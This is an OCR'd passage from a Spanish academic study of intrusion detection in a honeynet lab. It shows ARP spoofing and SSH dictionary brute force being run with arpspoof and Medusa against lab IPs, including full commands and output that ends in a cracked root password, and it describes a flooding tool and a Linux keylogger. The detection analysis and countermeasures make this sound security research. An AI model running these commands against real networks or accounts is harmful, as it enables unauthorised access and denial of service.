Como veremos en 4.1, estas caracteristicas seran aprovechadas por el atacante durante
el envenenamiento ARP o ARP spoofing, este tipo de ataque realiza una suplantacion de
identidad por falsificacion de tabla ARP. Se trata de la construccion de tramas de solicitud y
respuesta ARP modificadas con el objetivo de falsear la tabla ARP (relaciéon IP-MAC) de una
victima y forzarla a que envie los paquetes a un host atacante en lugar de hacerlo a su destino
legitimo. Esto es posible debido a que el protocolo ethernet trabaja mediante direcciones
MAC, no mediante direcciones IP. Dicha tabla ARP puede ser falseada por una computadora
atacante que emita tramas ARP-REPLY indicando su MAC como destino valido para una IP
especifica [Wikie].
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La herramienta utilizada para realizar este ataque es ARPSPOOF, este programa se
encarga de modificar la caché ARP del equipo victima con el valor de MAC del equipo
atacante, luego todas las respuestas a las peticiones que realice la maquina victima seran
enviadas a la maquina atacante. Para realizar el ataque se ejecuta simplemente el comando:

arpspoof -t ipVictima ipConmutador

de esta manera todas las peticiones realizadas por la victima hacia el conmutador seran
enviadas a la maquina atacante.

3.4.2 Fuerza Bruta

Uno de los problemas del mecanismo de identificacion basado en usuario y
contrasefia surge cuando una tercera persona se hace pasar por un usuario legitimo, ya que si
es ingresado correctamente el usuario y la contrasefia, el sistema le dard acceso
independientemente que la persona no sea quien dice ser realmente. Otro problema es que si
el acceso ha sido denegado, el usuario puede volver a intentar acceder n nimero de veces
(normalmente n es establecido por algin valor por defecto y generalmente el numero de re
intentos posibles es grande) dependiendo obviamente de las configuraciones de cada sistema.
Por lo general, limitar el nimero de intentos puede bloquear el acceso, provocando la
denegacion en el acceso a un usuario valido pero que por algin motivo no ha ingresado los
datos correctamente.

Un ataque muy comun que hace uso de dichas ‘vulnerabilidades’ son los ‘ataques
basados en fuerza bruta’ (brute force attack). El ataque consiste en bombardear al servidor con
nombres de usuarios y contrasefias aleatorios. La desventaja de este tipo de ataques es el gran
numero de posibles combinaciones de usuarios y contrasefias, por este motivo generalmente
son utilizados diccionarios (ataques de fuerza bruta basados en diccionarios). Un diccionario
(de contrasefas y/o usuarios) es un fichero de texto con nombres de usuario y contrasefias
frecuentemente utilizados. Por ejemplo, en la mayor parte de sistemas nos solemos encontrar
un usuario ‘root‘ (administrador), y, estadisticamente hablando, una serie de contrasefias
frecuentemente utilizadas como: ‘1234°; ‘gwerty*; ‘admin‘; etc. Obviamente también se debe
tener en cuenta el pais y cultura del sistema victima, ya que es un gran motivo para utilizar
distintos tipos de diccionario (ej.: distintos idiomas, etc.).

Las herramientas utilizadas para el ataque son:

m  Medusa, es un programa muy veloz, elaborado en forma modular y funcionamiento
en paralelo que tiene como finalidad el acceso por fuerza bruta a una maquina
victima. El objetivo es apoyar el mayor nimero de servicios que permiten la
autenticacion remota. Son consideradas las siguientes caracteristicas principales de
esta aplicacion:

« Testeo paralelo basado en Threads (Hilos): Puede realizarse en contra de
multiples maquinas, usuarios o contrasefias simultaneamente.

« Entrada de usuario flexible: La informacion utilizada como objetivo (maquina/
usuario/contrasefia) puede ser especificada en una gran variedad de formas. Por
ejemplo, cada entrada puede ser una Unica entrada o un archivo que contenga
multiples entradas, ademas permite una combinacion de distintos formatos de
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archivos que el usuario puede definir.

+ Diselo modular: Cada modulo de servicio existe como un modulo (archivos
.mod) independiente. Esto significa, que no es necesario hacer modificaciones en
el corazon de la aplicacion para poder extender la lista soportada de modulos.

Parametros:

medusa: Comando para ejecutar el programa.

-h Direccion ip o nombre del host objetivo.

-u Usuario al que se le va a aplicar el test (root).

-r3 Cantidad de segundos de espera entre re intentos (3 en este caso) .
-P Especificamos el archivo de contrasefias.

-M Moédulo a utilizar.

Actualmente soporta una amplia lista de productos a los cuales puede atacar: CVS, HTTP,
FTP, IMAP, Microsoft SQL Server, MySQL, NNTP, PCAnywhere, POP3, PostgreSQL, RSH,
SSHv2, Telnet, VNC entre otros.

John The Ripper, es un veloz y efectivo “detector de debilidades” de contrasefias,
Actualmente disponible para muchos tipos de Unix, Windows, DOS, BeOS, y
OpenVMS. El proposito principal es el de detectar la debilidad de las contrasefas
Unix. Ademas puede ser utilizado fuera de ambiente de linux, como por ejemplo en
Kerberos AFS y Windows N'T/2000/2003.

Nmap, ("Network Mapper") es una utilidad (bajo licencia GPL) para explorar y
auditar redes informaticas. Utiliza los paquetes IP para saber qué maquinas estdn
disponibles en la red, qué servicios (nombre y version de aplicacion) estan ofreciendo
los anfitriones (HOSTS), qué sistemas operativos (y de versiones del sistema
operativo) estan en funcionamiento, qué tipo de filtros de paquetes / cortafuegos estan
en uso, y docenas de otras caracteristicas. Este programa fue disefiado para explorar
rapidamente grandes redes.

OpenSSH, es un protocolo bajo licencia GPL que nos provee la posibilidad de
servicios de acceso remoto y transferencia de archivos, algunas de sus bondades son
[Ssh]:

> Esun proyecto Open Source.
> Su licencia es libre y gratuita.
» Cifrado robusto: Soporta algoritmos como 3DES, AES, Blowfish.
> XI11: Permite el reenvio del trafico encriptado de Windows X.
>

Redireccion de puertos: Permite el reenvio de conexiones TCP/IP a una
maquina remota en un canal seguro.
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>

3.4.3 Flooding

Autenticacion robusta: Posee métodos seguros de autenticacion frente a los
grandes problemas de seguridad.

Reenvio a agentes de autenticaciéon: Un agente de autenticacion que se
encuentre en la estacion de trabajo de un usuario, se puede usar para contener
las claves de autenticacion de RSA o DSA. OpenSSH envia la conexion
automaticamente al agente de autenticacion por medio de cualquier conexion
y de este modo no existe la necesidad de guardar las claves de autenticacion
de RSA o DSA en ninguna maquina de la red (exceptuando la maquina del
usuario). Los protocolos de autenticacion nunca revelan las claves; solo se
pueden usar para verificar que el agente del usuario tenga cierta clave. El
agente podria hacer uso de una tarjeta inteligente para llevar a cabo todas las
computaciones de autenticacion.

Interoperabilidad: Las versiones anteriores de OpenSSH 2.0 soportan los
protocolos SSH 1.3 y SSH 1.5 permitiendo la comunicacion con UNIX,
Windows y otras implementaciones ssh. También tiene soporte para el
protocolo SSH 2.0. Este protocolo evita utilizar el algoritmo RSA-- debido a
que fue patentado para dicho protocolo-- y utiliza por lo tanto los algoritmos
DH y DSA que son libres.

Soporte SFTP: Los protocolos SSHI y SSH2 incluyen soporte para SFTP,
en el cliente usando el comnado sftp y en servidores es soportado
automaticamente.

Kerberos y AFS: OpenSSH también otorga tickets para Kerberos y AFS en
la maquina remota. De esta manera, un usuario puede acceder a los servicios
sin la necesidad de ingresar contrasefa.

Compresion de dato: La compresion de datos antes de encriptar mejora la
performance en redes mas lentas.

El extensivo uso de los servicios abiertos a Internet que son utilizados por las
compafiias a través de su propia infraestructura, para lograr mejorar su negocio ya sea:
publicando una pagina web; utilizando un servidor de correo electronico propio o
simplemente brindando acceso remoto para teletrabajo, todo esto conlleva indefectiblemente a
crear canales abiertos de comunicacion. Estos canales o “entradas virtuales” pueden ser
utilizados en forma maliciosa si no se tienen estrictamente controlados.

Las herramientas utilizadas para el ataque son:

m  Octopus: Es un programa elaborado en C que nos permite saturar las conexiones de
un determinado puerto. En el caso de esta experimentacion el programa fue
modificado para saturar las conexiones del puerto 22 correspondiente a SSH. El
codigo fuente del programa puede verse en el apéndice C.2.1.
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m  OpenSSH, en este caso s6lo ocupamos las conexiones para lograr saturar el servicio.

3.4.4 Keylogger

Un keylogger es una herramienta de diagnostico que se encarga de registrar las
pulsaciones que se realizan sobre el teclado, para guardarlas en un archivo y/o enviarlas a
través de Internet.

El registro de lo que se teclea puede hacerse tanto con medios de hardware como de
software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse
al cable del teclado y al teclado mismo. Escribir aplicaciones para realizar keylogging es
trivial y, como cualquier programa computacional, puede ser distribuido a través de un
troyano o como parte de un virus informatico. Se dice que se puede utilizar un teclado virtual
para evitar esto, ya que solo requiere clics del mouse. Cabe destacar, que esto podria ser falso
ya que los eventos de mensajes del teclado virtual deben ser enviados al programa externo
para que se escriba el texto, por lo que cualquier keylogger podria registrar lo escrito
mediante un teclado virtual [Wikih].

La herramiento utilizada para realizar este ataque es Linux Key Logger, es un
capturador de teclado que funciona en el espacio de usuario bajo el sistema operativo Linux,
puntualmente en arquitecturas de hardware x86. LKL, captura a través de un sniffer todos los
datos del teclado “escuchando” el puerto 0x60 y crea un archivo de log con todos los datos
recolectados, previa traduccion a codigo ASCII utilizando un archivo de mapa del teclado,
ademas posee la facilidad de enviar por e-mail todos los datos recolectados al atacante, luego
de llegar a alglin tamafo de archivo previamente configurado [lklb].

Distintos tipos de Keyloggers estan detallados en Anexo C.3
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CAPITULO 4

4. Implementacion y resultados de la experimentacion

4.1 Ataque ArpSpoofing
Esta técnica permite la construccion de tramas de solicitud y respuesta ARP
modificadas con el objetivo de falsificar la tabla Arp (relacion IP-MAC) de una victima y

forzarla a que envie los paquetes a una maquina atacante en lugar de hacerlo a su legitimo
destino.

4.1.1 Objetivo

El ataque tiene como principal objetivo, generar una denegacién de servicio en la
maquina victima, inundando su caché Arp.

4.1.2 Motivacion
Hemos visto en 3.4.1 que el protocolo Arp tiene ciertas carencias que facilitan su uso
de manera ilegitima para recibir trafico ajeno. En particular, nos resultan relevantes las
siguientes caracteristicas:
- Ausencia de autenticacion en el protocolo. Es decir, una maquina modificard su
comportamiento de acuerdo a los paquetes ARP recibidos, sin poder determinar de

ningun modo la autenticidad de los mismos.

+ Es posible (aunque evitable) modificar los contenidos de una caché ARP tan s6lo con
construir y enviar una peticion o respuesta adecuada.

« Una maquina puede actualizar la caché ARP del resto en cualquier momento.

4.1.3 Caracteristicas del ataque
Detalles técnicos del ataque:

+ La distribucion Linux usada para realizar el ataque es Backtrack 2'%, version Live.

12 BackTrack, esta distribucion de Linux esta centrada en su totalidad en herramientas de testeo y penetracion, no
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« Software: Arpspoof.
Opciones:
-1 interface: Especifica la interface a utilizar.

-t target: Especifica una maquina particular cuya ARP serd envenenada. (si
no es especificada, por defecto envenena todas las maquinas de la LAN).

4.1.4 Resultados

A continuacion se detallan los resultados obtenidos que fueron realizados en cada una
de las topologias.

A) Topologia I:
— Detalle del ataque realizado (punto de vista del atacante).
— Recopilacion de informacion: Archivos de logs, NIDS (Snort), HIDS (Ossec).

— Explicacion de los datos encontrados (punto de vista administrador de
sistemas).

B) Topologia II:
- No se aplica.
A) Topologia I
Evento de seguridad: Fecha: 28/10/2007, hora inicio: 23:38 fin: 23:45.
Precondiciones del ataque:

1. La maquina atacante, conociendo las direcciones IP de los dos nodos cuyas
comunicaciones se quieren intervenir, resuelve mediante ARP, las direcciones MAC
que le corresponden.

2. Mediante respuestas ARP , el atacante modifica el contenido de la caché¢ de la victima
de forma que para la direccion IP de su interlocutor se corresponda la direccion MAC

real del atacante.

3. Tanto el host victima como el host atacante deben estar dentro del mismo dominio de
broadcast.

4. La maquina victima esta encendida y sin problemas de conectividad.

es necesario efectuar instalacion alguna, debido a que toda la plataforma se inicia directamente desde el CD-Rom
quedando funcional en cuestion de pocos minutos.
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Desde la optica del atacante: Utilizando el programa ARPSpoof se comienza el ataque de la
siguiente manera:

Comando ejecutado:

bt ~ # arpspoof -t 192.168.2.104 192.168.2.1

Al ejecutar este comando estaremos “envenenando” la caché ARP de la maquina victima cuyo
numero de IP es 192.168.2.104 con el nimero MAC del atacante, para todas las peticiones al
gateway local (IP 192.168.2.1), provocando una denegacion de servicio.

0:f:b0:fa:a8:d6 52:54:0:0:aa:4 0806 42: arp
reply 192.168.2.1 is-at 0:f:bO:fa:a8:d6
0:f:b0:fa:a8:d6 52:54:0:0:aa:4 0806 42: arp
reply 192.168.2.1 is-at 0:.f:b0:fa:a8:d6
........ este es un fragmento reducido de la
secuencia de ataque........

0:£f:b0:fa:a8:d6 52:54:0:0:aa:4 0806 42: arp
reply 192.168.2.1 is-at 0:f:b0:fa:a8:d6

[3]+ Stopped arpspoof -t
192.168.2.104 192.168.2.1

Obs.: Cada linea corresponde a la modificacion de la caché ARP de la victima, quedando de
esta manera sin posibilidad de recibir respuestas a cada peticion generada.

B Aplicaciones Lugares Escritorio @Q @% 23:40 C},
Problema al’ cargar |2 pagina - M 3 .

Archivo Editar Ver Ir Marcadores Herramientas Ayuda

<}3 - L: M 1@ @ [L hitp://www.google.com.ar/ IB Oir

¥

[@Latest Release Notes || Fedora Project [ ] Fedora Weekly News [~ Community Support [ Fedora Core 5

[+]

/) Servidor no encontrado

Firefox no puede encontrar el servidor en www.google.com.ar.

» Compruebe que no ha cometido errores al escribir la direccion, como
ww.example.com en lugar de www.example.com

= Sino puede cargar ninguna pagina, compruebe la conexion de red de su ordenador.

= Sisu ordenador o su red estan protegidos por un cortafuegos o un proxy, cerciorese
de gue se le permite acceder a la Web con Firefox.

Terminado
[ = [root@localhost:fvarfossec. .. l[ () [OSSEC Web Interface - .. ][ @ Problema al cargar la pégin...]:

Figura 17: DoS generada por el atacante (parte I).

@|[° [
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Se provoca una denegacion de servicio, impidiendo a la maquina victima poder
desempefiar su trabajo con normalidad (véase Figura 17), en este ejemplo vemos que no
puede navegar por Internet debido a que se ve impedida de comunicarse con el gateway.

Desde la optica de administrador:

A continuacion mostraremos las anomalias detectadas por cada una de nuestras herramientas
de seguridad dispuestas en nuestra Honeynet.

) scacines Lugaes ssers YEEIG

SNORT Report - Mozllla Firefox

Archivo Edtar Ver Ir Marcadores Herramiantas Ayuda
@5 - 0 O [ o ocanestsmrhessiersprhaginTime=HsendTime=1 I or G
£ Releasa Notes 3 Fedora Project | Fedors Weekdy News () Community Support | JFadora Cora 6 MHRed Hat Magazine

Detail by Signatures

@) |8 roowgiocal..| 0 poonca, | @ rooeical.| W roo@ioca. | Croew [Doew | SwoRTRe
Figura 18: DoS generada por el ataccmte (parte 1I).

Snort Report: Podemos ver que el NIDS nos muestra el siguiente mensaje: “/CMP destination
Unreachable communication with Destination Host is Administratively prohibited.” (véase
Figura 18).

En el campo “detail” hacemos clic en summary y se puede visualizar el detalle del alerta
recibida (véase Figura 19)
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SNORT Report - Signature Detall () - Mozllla Firefox

ctivo Eotar Yor it Mrcadores Homamenias Ayuda
@+ ) O (L o oot g -84 et Conminctonwt et 7| O (G,
fPevase Nt Fdor ot FedoraWee News ) Communty Sppot (edor Core 6 Mot Ngaze

Sources Triggering This Attack Signature

Destinations Recelving This Attack Signature

Terminado
!  (root@ocal..| M [root@local. | W [root@local. | M [roat@local.. | C [QEMV] ..
Figura 19: Detalle del evento de seguridad Snort (parte I).

En este reporte de Snort podemos visualizar desde donde se esta recibiendo el ataque
mostrandonos tanto el nimero IP como el FQDN del invasor, luego haciendo clic en el
hipervinculo podremos ver los detalles del suceso ocurrido a nivel de paquetes de red.

Haciendo clic tanto en el hipervinculo de la victima como del atacante podemos ver
los detalles antes descritos (véanse en Figura 20 y Figura 21)
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Detalle:

ort - Signatures for 19 8.2.104 a= a Source - Mozilla Firefox

mwwrmmm [

G- op - 8 1 G (1 ritp iocamostsnonhEptpdstal phe typa=srcFQDN=yess 322361 366baginTime=11937087408endTrne=11 || O (G |
f3Release Nates £ Fedora Froject | | Fedora Weekly News | Community Suppart | Fedara Core 6 MBRed Hat Magazine

oat@l oot@local...| I [root@ocal..| [ [0EMU] || [oEMu] | 3 oms 20, | .| RN ®
F igura 20: Detalle del evento de seguridad Snort (parte II).

Ref. 1: Fecha y hora del alerta de seguridad.

Ref. 2: El tipo de problema, en este caso aparece la siguiente leyenda “ICMP Destination
Unreacheable Communication with Destination Host is Administratively Prohibited”.

Ref. 3: TTL, TOS, ID, IPLEN, entre otros datos.

Analogamente, se pueden ver los mismos detalles para la maquina invasora:
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Signatures with 192.168.2.100 as a Destination (2 events)

@ (@ irot@incal... | 1 root@iocal... | root@iacal.. | 1 rrootiocal.. | Coemu [ gemn (& . (B
Figura 21: Detalle del evento de seguridad Snort (parte III)

Ossec Web Report: En la Figura 22, podemos ver que el HIDS muestra los siguientes datos
recopilados de los archivos de logs. Notese que las lineas se van apilando, y en la parte
inferior del reporte podemos visualizar la “linea base” donde se puede observar el momento
en el que comienza a funcionar el servicio de OSSEC HIDS, lamentablemente en este caso no
logramos encontrar nada concreto, simplemente muestra repetidas veces un mensaje de alerta
con respecto a un error conocido y que se verifique el /var/log/messages.

Log general del sistema:

var/log/messages: Correspondiente a la fecha y hora del ataque.
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Oct 29 23:40:24 localhost kernel: audit(1193712024.858:36): avc:
granted { execmem } for pid=1897 comm="nautilus"
scontext=root:system_r:unconfined t:s0-s0:c0.c255
tcontext=root:system_r:unconfined t:s0-s0:c0.c255 tclass=process

El alerta que es mostrado por OSSEC HIDS, se refiere simplemente al acceso concedido en el
5

Aplicaciones Lugares Sisterna @ (R SV

]

OSSEC Web Interface - Open Source Security - Mozilla Firefox
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Figura 22: Detalle del evento de seguridad Ossec

arranque del servicio.

B) Topologia II: Problema de aplicacion

La segunda topologia seleccionada posee un router intermedio que separa la red donde se
encuentra la maquina victima de la del atacante, debido a que no se cumple la siguiente

precondicion:

— Tanto la maquina victima como la maquina atacante deben estar dentro del mismo
dominio de broadcast.

Se concluye que no es posible poder modificar la caché ARP de la maquina victima, entonces
el ataque no puede llevarse a cabo.
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4.1.5 Analisis de los resultados

De los resultados obtenidos para la topologia I, en la que fue posible aplicar el ataque,
obtuvimos informacion importante del NIDS donde pudimos verificar:

a) Fecha y hora del evento de seguridad.

b) Tipo de problema: “ICMP Destination Unreacheable Communication with
Destination Host is Administratively Prohibited”.

¢) IP y FQDN del invasor.
d) Reporte de detalles acerca del ataque a nivel de paquetes de red.

Por otro lado, para el HIDS instalado en la maquina victima, no fue posible recuperar
informacién que nos brinde indicios sobre el ataque. Esto se debe fundamentalmente a que es
un ataque de red, y como hemos descrito anteriormente esto es una limitacion para IDS de
HOST.

4.1.6 Contramedidas

La defensa mas completa contra el ARP Spoofing es activar la vinculacién por MAC
en el switch, que consiste en no permitir el cambio de la direccion MAC asociada a un puerto
una vez que ha sido establecida. Los cambios legitimos podran ser realizados por el
administrador caso por caso.

Otra defensa es utilizar rutas estaticas de modo que los paquetes falsificados sean
ignorados. Sin embargo, esta técnica no resulta muy practica para redes corporativas pues las
mismas estan integradas por una gran cantidad de equipos. En pruebas realizadas sobre
sistemas operativos Windows, se encontré que se siguen aceptando entradas ARP falsas y se
siguen utilizando entradas dindmicas en lugar de las estaticas. Estos resultados vuelven nula
la prevencion mediante el uso de rutas estaticas.

Es recomendable utilizar distintos tipos de software para detectar esta clase de ataques, como
por ejemplo:

— Arpwatch, que es un programa open source que monitorea una red de computadoras
desde la actividad ARP, generando un archivo de logs de los pares de direcciones IP —
MAC a lo largo de un periodo de tiempo. La principal y mas importante razén de
monitorear la actividad ARP es detectar ARP spoofing.

- Ettercap, también es un programa open source (bajo la licencia GNU), que posee la
capacidad de interceptar segmentos de trafico de red, para luego efectuar un analisis
de dicha captura [Orna0Ol1].

4.2 Fuerza bruta (Brute force attack)
El mecanismo de autenticacion basado en usuario y contrasefia es vulnerable a la

impostura. Un atacante que conozca, o conjeture, la combinacion (usuario, contraseia)
correcta, obtendra acceso al sistema sin otra condicion.
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4.2.1 Objetivo
El ataque tiene como principal objetivo, ingresar al sistema victima con credenciales
de administrador (root) a través de SSH v2.0 usando la metodologia de fuerza bruta, basada
en diccionario.
4.2.2 Motivacion
Los ataques por fuerza bruta estan muy extendidos debido a que con un simple script
se puede testear cientos o miles de servidores de forma automatica sin necesidad de intervenir
manualmente en el proceso.
4.2.3 Caracteristicas del ataque
Detalles técnicos del ataque:
« Ladistribucion Linux usada para realizar el ataque es Backtrack 2, version Live.
- Para escanear la red y localizar posibles victimas se us6 Nmap.

- Para el ataque se utilizo Medusa.

« El diccionario usado pertenece a un extracto del programa 'John The Ripper'
(incluido por defecto en Backtrack 2).

« El servidor ssh de la victima esta incluido por defecto en la version de Fedora Core 5
instalada en la maquina victima.

4.2.4 Resultados

A continuacidn se detallan los resultados obtenidos que fueron realizados en cada una
de las topologias.

A) Topologia I:
— Detalle del ataque realizado (punto de vista del atacante).
— Recopilacion de informacion: Archivos de logs, NIDS (Snort), HIDS (Ossec).

- Explicacion de los datos encontrados (punto de vista administrador de
sistemas).

B) Topologia II:
— Detalle del ataque realizado (punto de vista del atacante).
— Recopilacion de informacion: Archivos de logs, NIDS (Snort), HIDS (Ossec).

- Explicacion de los datos encontrados (punto de vista administrador de
sistemas).
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A) Topologia I

Evento de seguridad: Fecha: 29/10/2007, hora inicio: 21:45 fin: 21:47 .

Precondiciones del ataque:

1. El archivo de configuracion de ssh permitira una cantidad de 29 (veintinueve)

reintentos de inicio de sesion.

2. Se ubico la clave correcta en la posicion 20 del extracto del archivo de contrasefias de
“John the Ripper” para poder efectuar un inicio de sesion exitoso luego de varios

intentos fallidos.

3. Se ataca al usuario “administrador” de la méquina victima, por lo tanto se supone que

dicho usuario tiene acceso ssh a esa PC.

Desde la optica del atacante:

Utilizando el programa Medusa y el archivo de contrasefia de “John the Ripper” se procede a

efectuar el ataque a la maquina victima.

Comando ejecutado:

bt ~ # medusa -h 192.168.2.104 -u root -3 -P /root/Desktop/listapasswords.txt -M ssh

Medusa vl.1l [http://www.foofus.net]

(C)

JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:

(1/29)

12345

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:
(2/29)

abcl23

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: password

(3/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:
(4/29)

passwd

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:
(5/29)

123456

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:
(6/29)

newpass

ACCOUNT CHECK: [ssh] Host: 192.168.2.104

(1/1) User: root (1/1) Password:

notused
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(7/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: Hockey
(8/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: internet
(9/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: &zroot (1/1) Password: asshole
(10/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: rzroot (1/1) Password: Maddock
(11/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: 12345678
(12/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: newuser
(13/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: computer
(14/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: Internet
(15/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: Mickey
(16/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: qgwerty
(17/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: rzroot (1/1) Password: fiction
(18/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password: Cowboys
(19/29)

ACCOUNT CHECK: [ssh] Host: 192.168.2.104
(1/1) User: root (1/1) Password:|NHp1024
(20/29)

ACCOUNT FOUND: [ssh] Host: 192.168.2.104

Jser: root Password: hpl024 [SUCCESS]

Como se puede apreciar durante el ataque, el programa recorre automaticamente los
datos contenidos en el archivo de contrasefias de “John the Ripper” y se conecta via SSH
para probar cada una de ellas, utilizando el usuario administrador (root). Obteniendo
finalmente acceso al sistema en el reintento nimero 20. Como consecuencia, el sistema
victima es vulnerado y se logra el control de la maquina con todos los privilegios de “super
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usuario o root”.

Desde la optica del administrador:

Snort NIDS:

No detectd ninguna anomalia, brindandonos un reporte de analisis normal.
Ossec HIDS:

Por el contrario, como podremos ver en Anexo C.1.1, a partir de la linea cuya fecha y
hora de evento es OCT. 29 hora 21:45:50, registra el primer intento de acceso SSH, con fallo
en la contrasefia, luego el incidente se repite en la linea donde dice OCT. 29 hora 21:46:14,
finalmente se ejecuta un ultimo evento de importancia en OCT. 29 hora 21:46:26.
Efectivamente, esto nos indica, no solamente el intento de ingresar al servicio de SSH por
fuerza bruta, sino que ademas muestra que se ha logrado un ingreso exitoso.

Logs del sistema:

var/log/secure: En este archivo podemos ver la traza del ataque y debido a la frecuencia de los
fallos con respecto al tiempo trascurrido, podemos afirmar que se trata de un ataque
automatizado, ademas podemos observar el ingreso del atacante al sistema al final de todos
los fallos ocurridos (véase Anexo C.1.2).

B) Topologia II:

Evento de seguridad: Fecha: 28/10/2007, hora inicio: 00:06 fin: 00:07

Precondiciones del ataque:

1. El archivo de configuracion de ssh permitira una cantidad de 29 (veintinueve) re
intentos de inicio de sesion.

2. Se ubico la clave correcta en la posicion 20 del extracto del archivo de contrasefias de
“John the Ripper” para poder efectuar un inicio de sesion exitoso luego de varios

intentos fallidos.

3. Se ataca al usuario “administrador” de la méquina victima, por lo tanto se supone que
dicho usuario tiene acceso ssh a esa P.C.

Desde la optica del atacante:

Utilizando el programa Medusa y el archivo de contrasefia de “John the Ripper” se
procede a efectuar el ataque a la maquina victima.

Comando ejecutado:

medusa -h 192.168.2.102 -u root -r 3 -P /root/Desktop/listapassword -M ssh
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Medusa v1l.1l [http://www.foofus.net] (C)
JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: 12345
(1/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: password
(2/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: computer
(3/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: 123456
(4/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: tigger
(5/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: 1234 (6/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: alb2c3
(7/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: gwerty
(8/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: 123 (9/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: xxx (10/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: money
(11/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: test

(12/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: carmen
(13/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: mickey
(14/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: abcl23

(15/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: secret
(16/28)
ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: summer
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(17/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: internet
(18/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: LPQLP
(19/28)

ACCOUNT CHECK: [ssh] Host: 192.168.2.102
(1/1) User: root (1/1) Password: hpl024
(20/28)

ACCOUNT FOUND: [ssh] Host: 192.168.2.102
User: root Password: hpl024 [SUCCESS]

Del mismo modo que en el ataque en la topologia anterior, el programa recorre
automaticamente los datos contenidos en el archivo de contrasefias de “John the Ripper” y se
conecta via SSH para probar cada una de ellas, utilizando el usuario administrador (root).
Obteniendo finalmente acceso al sistema en el reintento niamero 20.

Como resultado del ataque, el sistema victima es vulnerado y se obtiene el control de
la maquina con todos los privilegios de “super usuario o root”.
Desde la optica del administrador:
Snort NIDS:
No detect6 ninguna anomalia, brinddndonos un reporte de analisis normal.

Ossec HIDS:

Podemos ver en Anexo C.1.3 que el HIDS nos muestra efectivamente que a partir de
la linea cuya fecha y hora de evento es OCT. 28 hora 00:06:13, registra el primer intento de
acceso SSH, con fallo en la contrasena, luego el incidente se repite en la linea donde dice
OCT. 28 hora 21:06:37, finalmente se ejecuta un ultimo evento de importancia en OCT. 28
hora 00:06:51. Efectivamente, esto nos indica no solamente el intento de ingresar al servicio
de SSH por fuerza bruta, sino que ademas muestra que efectivamente se ha logrado ingresar
al sistema.

Logs del sistema:

var/log/secure: En este archivo podemos ver la traza del ataque y debido a la frecuencia de los
fallos con respecto al tiempo trascurrido, es posible afirmar que se trata de un ataque
automatizado, ademas se logra observar el ingreso del atacante al sistema al final de todos los
fallos ocurridos. (véase Anexo C.1.4).

4.2.5 Analisis de los resultados

De los resultados obtenidos de cada una de las topologias, se concluye lo siguiente:
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a) El NIDS “Snort” utiliza un Sniffer para realizar las capturas de los paquetes que
viajan por la red y los analiza con las reglas que tiene embebidas. Debido a que las
sesiones generadas a través de SSH estan encriptadas, el NIDS no logra encontrar
ninguna anomalia ya que no puede efectuar ningtin analisis posible para este caso.

b) En el caso del HIDS, refleja las secuencias de reintento para la validacion de
usuario. En este caso tanto en la topologia I como en la topologia II esta informacion
es capturada por el HIDS instalado y nos muestra los intentos del atacante para
ingresar al sistema.

c¢) En ambos casos se registraron en archivos de logs del sistema operativo
var/log/secure los intentos de acceso y el suceso de éxito en el ingreso al sistema.

Finalmente, podemos concluir que este ataque es detectado una vez que se comienza
a interactuar con la maquina victima, independientemente de la topologia de red en la que ésta
se encuentre.

4.2.6 Contramedidas
